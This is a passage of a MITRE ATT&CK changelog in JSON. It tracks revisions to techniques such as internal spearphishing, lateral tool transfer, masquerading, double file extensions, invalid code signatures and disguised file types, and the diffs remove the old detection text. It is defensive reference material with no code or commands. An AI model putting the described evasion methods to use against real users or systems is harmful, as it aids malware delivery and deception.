"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Module: Module Load\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.581000+00:00\", \"old_value\": \"2025-04-16 20:37:15.927000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\\n\\nOLE, Office Open XML, CSV, and other files can be scanned for \\u2018DDEAUTO', \\u2018DDE\\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\\n-\\n-OLE, Office Open XML, CSV, and other files can be scanned for \\u2018DDEAUTO', \\u2018DDE\\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program",
"M1048: Application Isolation and Sandboxing",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0504: Detect Abuse of Dynamic Data Exchange (T1559.002)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-09-04 19:26:12.441000+00:00",
"modified": "2025-10-24 17:49:09.394000+00:00",
"name": "Internal Spearphishing",
"description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1534",
"external_id": "T1534"
},
{
"source_name": "Trend Micro When Phishing Starts from the Inside 2017",
"description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
"url": "https://blog.trendmicro.com/phishing-starts-inside/"
},
{
"source_name": "Int SP - chat apps",
"description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.",
"url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"
},
{
"source_name": "Trend Micro - Int SP",
"description": "Trend Micro. (n.d.). Retrieved February 16, 2024.",
"url": "https://www.trendmicro.com/en_us/research.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tim MalcomVetter",
"Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux",
"SaaS",
"Office Suite"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.394000+00:00\", \"old_value\": \"2025-04-15 22:42:40.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0054: Internal Spearphishing via Trusted Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 21:01:00.959000+00:00",
"modified": "2025-10-24 17:49:19.137000+00:00",
"name": "Lateral Tool Transfer",
"description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1570",
"external_id": "T1570"
},
{
"source_name": "Dropbox Malware Sync",
"description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
"url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
},
{
"source_name": "Unit42 LockerGoga 2019",
"description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
"url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Shailesh Tiwary (Indian Army)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Named Pipe: Named Pipe Metadata\", \"Network Share: Network Share Access\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.137000+00:00\", \"old_value\": \"2025-04-15 19:59:03.832000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)",
"DS0023: Named Pipe (Named Pipe Metadata)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)",
"DS0033: Network Share (Network Share Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0183: Detection Strategy for Lateral Tool Transfer across OS platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:38.511000+00:00",
"modified": "2025-10-24 17:48:42.609000+00:00",
"name": "Masquerading",
"description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036",
"external_id": "T1036"
},
{
"source_name": "Twitter ItsReallyNick Masquerading Update",
"description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
"url": "https://x.com/ItsReallyNick/status/1055321652777619457"
},
{
"source_name": "Elastic Masquerade Ball",
"description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
"url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
},
{
"source_name": "LOLBAS Main Site",
"description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
"url": "https://lolbas-project.github.io/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Oleg Kolesnikov, Securonix",
"Nick Carr, Mandiant",
"David Lu, Tripwire",
"Felipe Esp\u00f3sito, @Pr0teus",
"Elastic",
"Bartosz Jerzman",
"Menachem Goldstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.8",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Service: Service Creation\", \"Service: Service Metadata\", \"Process: Process Creation\", \"Image: Image Metadata\", \"Scheduled Job: Scheduled Job Metadata\", \"User Account: User Account Creation\", \"File: File Metadata\", \"Scheduled Job: Scheduled Job Modification\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.609000+00:00\", \"old_value\": \"2025-04-15 19:58:26.186000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n\\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n\\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n-\\n-If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n-\\n-Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\u201d.\"}}}",
"previous_version": "1.8",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint",
"M1045: Code Signing",
"M1047: Audit",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Creation)",
"DS0003: Scheduled Job (Scheduled Job Metadata)",
"DS0003: Scheduled Job (Scheduled Job Modification)",
"DS0007: Image (Image Metadata)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Creation)",
"DS0019: Service (Service Metadata)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0127: Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-08-04 20:54:03.066000+00:00",
"modified": "2025-10-24 17:48:25.732000+00:00",
"name": "Double File Extension",
"description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/007",
"external_id": "T1036.007"
},
{
"source_name": "SOCPrime DoubleExtension",
"description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
"url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
},
{
"source_name": "PCMag DoubleExtension",
"description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
"url": "https://www.pcmag.com/encyclopedia/term/double-extension"
},
{
"source_name": "Seqrite DoubleExtension",
"description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.",
"url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.732000+00:00\", \"old_value\": \"2025-04-15 22:23:40.712000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0366: Detection Strategy for Double File Extension Masquerading"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-10 19:49:46.752000+00:00",
"modified": "2025-10-24 17:49:15.520000+00:00",
"name": "Invalid Code Signature",
"description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/001",
"external_id": "T1036.001"
},
{
"source_name": "Threatexpress MetaTwin 2017",
"description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.",
"url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.520000+00:00\", \"old_value\": \"2025-04-15 22:43:00.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1045: Code Signing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0031: Invalid Code Signature Execution Detection via Metadata and Behavioral Context"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2023-03-08 22:40:06.918000+00:00",
"modified": "2025-10-08 17:44:11.183000+00:00",
"name": "Masquerade File Type",
"description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/008",
"external_id": "T1036.008"
},
{
"source_name": "polygot_icedID",
"description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
"url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"CrowdStrike Falcon OverWatch",
"Ben Smith"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-08 17:44:11.183000+00:00\", \"old_value\": \"2025-04-15 19:58:12.855000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"old_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n \\n-Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\\n+Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Ben Smith\", \"old_value\": \"Ben Smith, @cyberg3cko\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may masquerade malicious payloads as legitimate | t | 1 | Adversaries may masquerade malicious payloads as legitimate |
| > | files through changes to the payload's formatting, including | > | files through changes to the payload's formatting, including | ||
| > | the file\u2019s signature, extension, icon, and contents. Variou | > | the file\u2019s signature, extension, icon, and contents. Variou | ||
| > | s file types have a typical standard format, including how t | > | s file types have a typical standard format, including how t | ||
| > | hey are encoded and organized. For example, a file\u2019s signatu | > | hey are encoded and organized. For example, a file\u2019s signatu | ||
| > | re (also known as header or magic bytes) is the beginning by | > | re (also known as header or magic bytes) is the beginning by | ||
| > | tes of a file and is often used to identify the file\u2019s type. | > | tes of a file and is often used to identify the file\u2019s type. | ||
| > | For example, the header of a JPEG file, is <code> 0xFF 0xD | > | For example, the header of a JPEG file, is <code> 0xFF 0xD | ||
| > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | ||
| > | `.JPG`. Adversaries may edit the header\u2019s hex code and/or | > | `.JPG`. Adversaries may edit the header\u2019s hex code and/or | ||
| > | the file extension of a malicious payload in order to bypas | > | the file extension of a malicious payload in order to bypas | ||
| > | s file validation checks and/or input sanitization. This beh | > | s file validation checks and/or input sanitization. This beh | ||
| > | avior is commonly used when payload files are transferred (e | > | avior is commonly used when payload files are transferred (e | ||
| > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | ||
| > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | ||
| > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | ||
| > | move their malware without triggering detections. Common n | > | move their malware without triggering detections. Common n | ||
